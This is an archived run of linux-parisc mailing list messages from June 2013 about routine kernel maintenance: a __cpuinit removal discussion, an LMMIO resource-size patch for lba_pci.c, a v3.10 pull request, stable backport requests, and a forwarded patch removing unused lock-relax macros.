X-Trace: ger.gmane.org 1371580537 19912 80.91.229.3 (18 Jun 2013 18:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Jun 2013 18:35:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 18 20:35:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Up0kh-000763-Iq
	for glpp-linux-parisc@plane.gmane.org; Tue, 18 Jun 2013 20:35:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933480Ab3FRSfe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Jun 2013 14:35:34 -0400
Original-Received: from mail1.windriver.com ([147.11.146.13]:56109 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933162Ab3FRSfe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Jun 2013 14:35:34 -0400
Original-Received: from ALA-HCB.corp.ad.wrs.com (ala-hcb.corp.ad.wrs.com [147.11.189.41])
	by mail1.windriver.com (8.14.5/8.14.3) with ESMTP id r5IIZS81016723
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Tue, 18 Jun 2013 11:35:28 -0700 (PDT)
Original-Received: from [128.224.146.65] (128.224.146.65) by ALA-HCB.corp.ad.wrs.com
 (147.11.189.41) with Microsoft SMTP Server id 14.2.342.3; Tue, 18 Jun 2013
 11:35:27 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130329 Thunderbird/17.0.5
In-Reply-To: <1371509247.8130.34.camel@dabdike>
X-Originating-IP: [128.224.146.65]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5157>

On 13-06-17 06:47 PM, James Bottomley wrote:
> On Mon, 2013-06-17 at 16:34 -0400, Paul Gortmaker wrote:
>> The __cpuinit type of throwaway sections might have made sense
>> some time ago when RAM was more constrained, but now the savings
>> do not offset the cost and complications.  For example, the fix in
>> commit 5e427ec2d0 ("x86: Fix bit corruption at CPU resume time")
>> is a good example of the nasty type of bugs that can be created
>> with improper use of the various __init prefixes.
>>
>> After a discussion on LKML[1] it was decided that cpuinit should go
>> the way of devinit and be phased out.  Once all the users are gone,
>> we can then finally remove the macros themselves from linux/init.h.
> 
> Fine by us ... I'd recommend just rolling this into one patch for all
> the cpuinit tags and sending it via the trivial tree (which goes to
> linux-next) that way we'll know if we do anything to compromise it.

Thanks James,

I'll add an ack'd by for you and keep it with the arch agnostic
chunks.  I do want it to go by the arch maintainers 1st though,
and give them 1st right of refusal on carrying the change; e.g.
for MIPS, Ralf wanted to carry the patch due to the level of
tree activity still pending there.  And for sparc, it touches
some trampoline code, so I want to be sure I don't inflict a
silent boot death on the SPARC folks.  It will get in linux-next
though -- I'll be asking Stephen for that shortly.

P.
--

> 
> James
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Tue, 18 Jun 2013 23:21:25 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <20130618212125.GA20423@p100.box>
References: <20130614071142.GB10443@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371590494 5294 80.91.229.3 (18 Jun 2013 21:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Jun 2013 21:21:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 18 23:21:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Up3LI-0007nN-7w
	for glpp-linux-parisc@plane.gmane.org; Tue, 18 Jun 2013 23:21:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932800Ab3FRVVc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Jun 2013 17:21:32 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:54532 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932442Ab3FRVVb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Jun 2013 17:21:31 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Lex3B-1UX4sA3hwV-00qfuA for
 <linux-parisc@vger.kernel.org>; Tue, 18 Jun 2013 23:21:29 +0200
Original-Received: (qmail invoked by alias); 18 Jun 2013 21:21:29 -0000
Original-Received: from p54AD1948.dip0.t-ipconnect.de (EHLO p100.box) [84.173.25.72]
  by mail.gmx.net (mp028) with SMTP; 18 Jun 2013 23:21:29 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18R+7NhzB0Ry41Eevhm8z8EPL6Hjf5Z8Pq+7MU3Vv
	wU9p4ja5bYXq5x
Content-Disposition: inline
In-Reply-To: <20130614071142.GB10443@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5158
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5158>

* Helge Deller <deller@gmx.de>:
> From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
> 
> The LMMIO length reported by PAT and the length given by the LBA MASK
> register are not consistent. This leads e.g. to a non-working ATI FireGL
> card with the radeon DRM driver since the memory can't be mapped.
> 
> Fix this by correctly adjusting the resource sizes.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

This is an updated/cleaner approach to this problem.
Still I want some more testing on it with various machines.

Basically we now extend the LMMIO range up to 256MB above the initial
start of the region if the value of the MASK register seems to allow it.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 1f05913..acc3fe8 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -613,6 +613,46 @@ truncate_pat_collision(struct resource *root, struct resource *new)
 	return 0;	/* truncation successful */
 }
 
+/*
+ * extend_lmmio_len: extend lmmio range to maximum length
+ */
+static unsigned long
+extend_lmmio_len(unsigned long start, unsigned long end, unsigned long lba_len)
+{
+	struct resource *tmp;
+
+	pr_debug("LMMIO mismatch: PAT length = 0x%lx, MASK register = 0x%lx\n",
+		end - start, lba_len);
+
+	lba_len = min(lba_len+1, 256UL*1024*1024); /* limit to 256 MB */
+
+	pr_info("LBA: lmmio_space [0x%lx-0x%lx] - original\n", start, end);
+
+	end += lba_len;
+	if (end < start) /* fix overflow */
+		end = -1ULL;
+
+	pr_debug("LBA: lmmio_space [0x%lx-0x%lx] - current\n", start, end);
+
+	/* first overlap */
+	for (tmp = iomem_resource.child; tmp; tmp = tmp->sibling) {
+		pr_debug("LBA: testing %pR\n", tmp);
+		if (tmp->start == start)
+			continue; /* ignore ourself */
+		if (tmp->end < start)
+			continue;
+		if (tmp->start > end)
+			continue;
+		if (end >= tmp->start)
+			end = tmp->start - 1;
+	}
+
+	pr_info("LBA: lmmio_space [0x%lx-0x%lx] - new\n", start, end);
+
+	/* return new end */
+	return end;
+}
+
 #else
 #define truncate_pat_collision(r,n)  (0)
 #endif
@@ -994,6 +1034,14 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		case PAT_LMMIO:
 			/* used to fix up pre-initialized MEM BARs */
 			if (!lba_dev->hba.lmmio_space.flags) {
+				unsigned long lba_len;
+
+				lba_len = ~READ_REG32(lba_dev->hba.base_addr
+						+ LBA_LMMIO_MASK);
+				if ((p->end - p->start) != lba_len)
+					p->end = extend_lmmio_len(p->start,
+						p->end, lba_len);
+
 				sprintf(lba_dev->hba.lmmio_name,
 						"PCI%02x LMMIO",
 						(int)lba_dev->hba.bus_num.start);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.10
Date: Tue, 18 Jun 2013 23:39:56 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20130618213956.GA20451@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371591607 16216 80.91.229.3 (18 Jun 2013 21:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Jun 2013 21:40:07 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 18 23:40:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Up3dB-0001j6-HH
	for glpp-linux-parisc@plane.gmane.org; Tue, 18 Jun 2013 23:40:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933125Ab3FRVkA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Jun 2013 17:40:00 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:61490 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933061Ab3FRVkA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Jun 2013 17:40:00 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MYZTg-1Ul9cz09kg-00VRk6 for
 <linux-parisc@vger.kernel.org>; Tue, 18 Jun 2013 23:39:59 +0200
Original-Received: (qmail invoked by alias); 18 Jun 2013 21:39:58 -0000
Original-Received: from p54AD1948.dip0.t-ipconnect.de (EHLO p100.box) [84.173.25.72]
  by mail.gmx.net (mp017) with SMTP; 18 Jun 2013 23:39:58 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/Dl91i5ZnDa43yWp37muInrxaUg117zZRpd3VxXl
	zqmk2oDPM/Y66s
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5159 gmane.linux.kernel:1511156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5159>

Hi Linus,

Please pull the latest parisc architecture fixes from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.10

It contains a kernel segfault fix when reading /proc/kpageflags or /proc/kpagecount,
two fixes for the serial port and PCI graphic card support on C8000 workstations
and a fix to use unshadowed registers for flushing D- and I-caches.


This patchset touches parisc-specific source files only.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: fix kernel BUG at arch/parisc/include/asm/mmzone.h:50 (part 2)

John David Anglin (1):
      parisc: Use unshadowed index register for flush instructions in flush_dcache_page_asm and flush_icache_page_asm

Thomas Bogendoerfer (2):
      parisc: fix serial ports on C8000 workstation
      parisc: provide pci_mmap_page_range() for parisc

 arch/parisc/include/asm/mmzone.h   |  4 +-
 arch/parisc/include/asm/pci.h      |  5 +++
 arch/parisc/kernel/hardware.c      |  1 +
 arch/parisc/kernel/pacache.S       | 76 +++++++++++++++++++-------------------
 arch/parisc/kernel/pci.c           | 27 ++++++++++++++
 arch/parisc/mm/init.c              |  2 +-
 drivers/parisc/iosapic.c           | 66 +++++++++++++++++++++++++++++++++
 drivers/tty/serial/8250/8250_gsc.c | 10 ++++-
 8 files changed, 149 insertions(+), 42 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH] parisc stable patches for v3.9.x
Date: Thu, 20 Jun 2013 23:54:29 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <20130620215429.GA18879@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371765278 29526 80.91.229.3 (20 Jun 2013 21:54:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Jun 2013 21:54:38 +0000 (UTC)
To: stable@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 20 23:54:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UpmoN-0002qP-If
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Jun 2013 23:54:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758085Ab3FTVye (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Jun 2013 17:54:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:58992 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758025Ab3FTVyd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Jun 2013 17:54:33 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LuqoZ-1U7YC10xf7-0105xl for
 <linux-parisc@vger.kernel.org>; Thu, 20 Jun 2013 23:54:32 +0200
Original-Received: (qmail invoked by alias); 20 Jun 2013 21:54:32 -0000
Original-Received: from p54AD1932.dip0.t-ipconnect.de (EHLO ls3530.box) [84.173.25.50]
  by mail.gmx.net (mp024) with SMTP; 20 Jun 2013 23:54:32 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+bre5f1xqbocOpI9TSpx5KPC5sjMwAkgEExhtCJI
	dt/TnMg5wwef34
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5160 gmane.linux.kernel.stable:56651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5160>

Hi Greg,

could you please queue up the following upstream commits (in this order)
for the next v3.9.x stable kernel?

9372450cc22d185f708e5cc3557cf991be4b7dc5 parisc: add kernel stack overflow check
200c880420a2c02a0899120ce52d801fad705b90 parisc: implement irq stacks
cd85d5514d5c4d7e78abac923fc032457d0c5091 parisc: more irq statistics in /proc/interrupts
0fc537d1d655cdae69b489dbba46ad617cfc1373 parisc: tlb flush counting fix for SMP and UP
1ab4ce762370b82870834899e49c08129d7ae271 parisc: remove the second argument of kmap_atomic()
416821d3d68164909b2cbcf398e4ba0797f5f8a2 parisc: implement irq stacks - part 2 (v2)
949451b9b19da5e998778eb78929aafc73b5c227 parisc: add rp5470 entry to machine database
d0c3be806a3fe7f4abdb0f7e7287addb55e73f35 parisc: show number of FPE and unaligned access handler calls in /proc/interrupts
b63a2bbc0b9b106a93e11952ab057e2408f2eb02 parisc: make interrupt and interruption stack allocation reentrant
d96b51ec14650b490ab98e738bcc02309396e5bc parisc: fix irq stack on UP and SMP
3f108de96ba449a8df3d7e3c053bf890fee2cb95 parisc: memory overflow, 'name' length is too short for using
ae249b5fa27f9fba25aa59664d4338efc2dd2394 parisc: fix kernel BUG at arch/parisc/include/asm/mmzone.h:50
766039022a480ede847659daaa78772bdcc598ae parisc: rename "CONFIG_PA7100" to "CONFIG_PA7000"
ea99b1adf22abd62bdcf14b1c9a0a4d3664eefd8 parisc: kernel: using strlcpy() instead of strcpy()
4edb38695d9a3cd62739f8595e21f36f0aabf4c2 parisc: parport0: fix this legacy no-device port driver!
91ea8207168793b365322be3c90a4ee9e8b03ed4 parisc: fix kernel BUG at arch/parisc/include/asm/mmzone.h:50 (part 2)
9a66d1869d90f13fbaf83dcce5b1aeec86fbc699 parisc: fix serial ports on C8000 workstation
2cc7138f4347df939ce03f313e3d87794bab36f8 parisc: provide pci_mmap_page_range() for parisc

Those backports are necessary for the parisc architecture to reach a
similiar stability and security level as upstream v3.10 will have (for
example, without the irq stack we crashed badly because of stack
overflows).

All source files touched are only used by the parisc architecture.

Thanks,
Helge

----------
diffstat:
 arch/parisc/Kconfig                   |   8 ++
 arch/parisc/Kconfig.debug             |  11 ++
 arch/parisc/Makefile                  |   2 +-
 arch/parisc/include/asm/assembly.h    |   1 -
 arch/parisc/include/asm/hardirq.h     |  38 ++++++-
 arch/parisc/include/asm/mmzone.h      |   7 +-
 arch/parisc/include/asm/pci.h         |   5 +
 arch/parisc/include/asm/processor.h   |   4 -
 arch/parisc/include/asm/thread_info.h |   2 +-
 arch/parisc/include/asm/tlbflush.h    |   2 +
 arch/parisc/kernel/cache.c            |   6 +-
 arch/parisc/kernel/drivers.c          |   2 +-
 arch/parisc/kernel/entry.S            |  60 +++++++++--
 arch/parisc/kernel/hardware.c         |   2 +
 arch/parisc/kernel/irq.c              | 198 +++++++++++++++++++++++++++++++++-
 arch/parisc/kernel/pci.c              |  27 +++++
 arch/parisc/kernel/setup.c            |   3 +-
 arch/parisc/kernel/smp.c              |  14 +--
 arch/parisc/kernel/traps.c            |   1 +
 arch/parisc/kernel/unaligned.c        |   3 +
 arch/parisc/kernel/vmlinux.lds.S      |   2 +-
 arch/parisc/mm/init.c                 |   4 +-
 drivers/parisc/iosapic.c              |  66 ++++++++++++
 drivers/parport/parport_gsc.c         |   6 +-
 drivers/parport/parport_gsc.h         |   2 +-
 drivers/tty/serial/8250/8250_gsc.c    |  10 +-
 26 files changed, 437 insertions(+), 49 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH] parisc stable patches for v3.9.x
Date: Fri, 21 Jun 2013 08:39:23 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20130621153923.GB14059@kroah.com>
References: <20130620215429.GA18879@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371829172 32030 80.91.229.3 (21 Jun 2013 15:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Jun 2013 15:39:32 +0000 (UTC)
Cc: stable@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 21 17:39:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uq3Qv-0006nr-BE
	for glpp-linux-parisc@plane.gmane.org; Fri, 21 Jun 2013 17:39:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1423361Ab3FUPj2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Jun 2013 11:39:28 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:59376 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1423360Ab3FUPj1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Jun 2013 11:39:27 -0400
Original-Received: from localhost (c-76-28-172-123.hsd1.wa.comcast.net [76.28.172.123])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 39B77802;
	Fri, 21 Jun 2013 15:39:27 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20130620215429.GA18879@ls3530.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5161 gmane.linux.kernel.stable:56676
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5161>

On Thu, Jun 20, 2013 at 11:54:29PM +0200, Helge Deller wrote:
> Hi Greg,
> 
> could you please queue up the following upstream commits (in this order)
> for the next v3.9.x stable kernel?
> 
> 9372450cc22d185f708e5cc3557cf991be4b7dc5 parisc: add kernel stack overflow check
> 200c880420a2c02a0899120ce52d801fad705b90 parisc: implement irq stacks
> cd85d5514d5c4d7e78abac923fc032457d0c5091 parisc: more irq statistics in /proc/interrupts
> 0fc537d1d655cdae69b489dbba46ad617cfc1373 parisc: tlb flush counting fix for SMP and UP
> 1ab4ce762370b82870834899e49c08129d7ae271 parisc: remove the second argument of kmap_atomic()
> 416821d3d68164909b2cbcf398e4ba0797f5f8a2 parisc: implement irq stacks - part 2 (v2)
> 949451b9b19da5e998778eb78929aafc73b5c227 parisc: add rp5470 entry to machine database
> d0c3be806a3fe7f4abdb0f7e7287addb55e73f35 parisc: show number of FPE and unaligned access handler calls in /proc/interrupts
> b63a2bbc0b9b106a93e11952ab057e2408f2eb02 parisc: make interrupt and interruption stack allocation reentrant
> d96b51ec14650b490ab98e738bcc02309396e5bc parisc: fix irq stack on UP and SMP
> 3f108de96ba449a8df3d7e3c053bf890fee2cb95 parisc: memory overflow, 'name' length is too short for using
> ae249b5fa27f9fba25aa59664d4338efc2dd2394 parisc: fix kernel BUG at arch/parisc/include/asm/mmzone.h:50
> 766039022a480ede847659daaa78772bdcc598ae parisc: rename "CONFIG_PA7100" to "CONFIG_PA7000"
> ea99b1adf22abd62bdcf14b1c9a0a4d3664eefd8 parisc: kernel: using strlcpy() instead of strcpy()
> 4edb38695d9a3cd62739f8595e21f36f0aabf4c2 parisc: parport0: fix this legacy no-device port driver!
> 91ea8207168793b365322be3c90a4ee9e8b03ed4 parisc: fix kernel BUG at arch/parisc/include/asm/mmzone.h:50 (part 2)
> 9a66d1869d90f13fbaf83dcce5b1aeec86fbc699 parisc: fix serial ports on C8000 workstation
> 2cc7138f4347df939ce03f313e3d87794bab36f8 parisc: provide pci_mmap_page_range() for parisc
> 
> Those backports are necessary for the parisc architecture to reach a
> similiar stability and security level as upstream v3.10 will have (for
> example, without the irq stack we crashed badly because of stack
> overflows).
> 
> All source files touched are only used by the parisc architecture.

All now applied, thanks.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [RFC PATCH 11/16] hppa: locks: remove unused arch_*_relax operations
Date: Fri, 21 Jun 2013 20:32:37 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <51C49C45.1060207@gmx.de>
References: <1371835057-19335-12-git-send-email-will.deacon@arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------040803040109040107000308"
X-Trace: ger.gmane.org 1371839563 14662 80.91.229.3 (21 Jun 2013 18:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Jun 2013 18:32:43 +0000 (UTC)
To: Will Deacon <will.deacon@arm.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 21 20:32:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uq68X-0000ne-0G
	for glpp-linux-parisc@plane.gmane.org; Fri, 21 Jun 2013 20:32:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1423589Ab3FUSck (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Jun 2013 14:32:40 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60003 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1423588Ab3FUScj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Jun 2013 14:32:39 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MMqOH-1UwObJ1k5v-008XTo for
 <linux-parisc@vger.kernel.org>; Fri, 21 Jun 2013 20:32:38 +0200
Original-Received: (qmail invoked by alias); 21 Jun 2013 18:32:38 -0000
Original-Received: from p54AD1C93.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.28.147]
  by mail.gmx.net (mp024) with SMTP; 21 Jun 2013 20:32:38 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/4O49HXQ34J6YcS8ixWtbzYdm2rI2W9qAWpDtcv0
	bEBLJIQeFOyrID
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130514 Thunderbird/17.0.6
In-Reply-To: <1371835057-19335-12-git-send-email-will.deacon@arm.com>
X-Forwarded-Message-Id: <1371835057-19335-12-git-send-email-will.deacon@arm.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5162
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5162>

This is a multi-part message in MIME format.
--------------040803040109040107000308
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Thanks Will,

forwarding to linux-parisc@vger.kernel.org so that it gets into parisc patchwork.

I'll queue this patch up for 3.11 if it's OK for you.

Helge

-------- Original Message --------
Subject: [RFC PATCH 11/16] hppa: locks: remove unused arch_*_relax operations
Date: Fri, 21 Jun 2013 18:17:32 +0100
From: Will Deacon <will.deacon@arm.com>
To: linux-arch@vger.kernel.org
CC: Will Deacon <will.deacon@arm.com>, Helge Deller <deller@gmx.de>

The arch_{spin,read,write}_relax macros are not used anywhere in the
kernel and are typically just aliases for cpu_relax().

This patch removes the unused definitions for parisc.

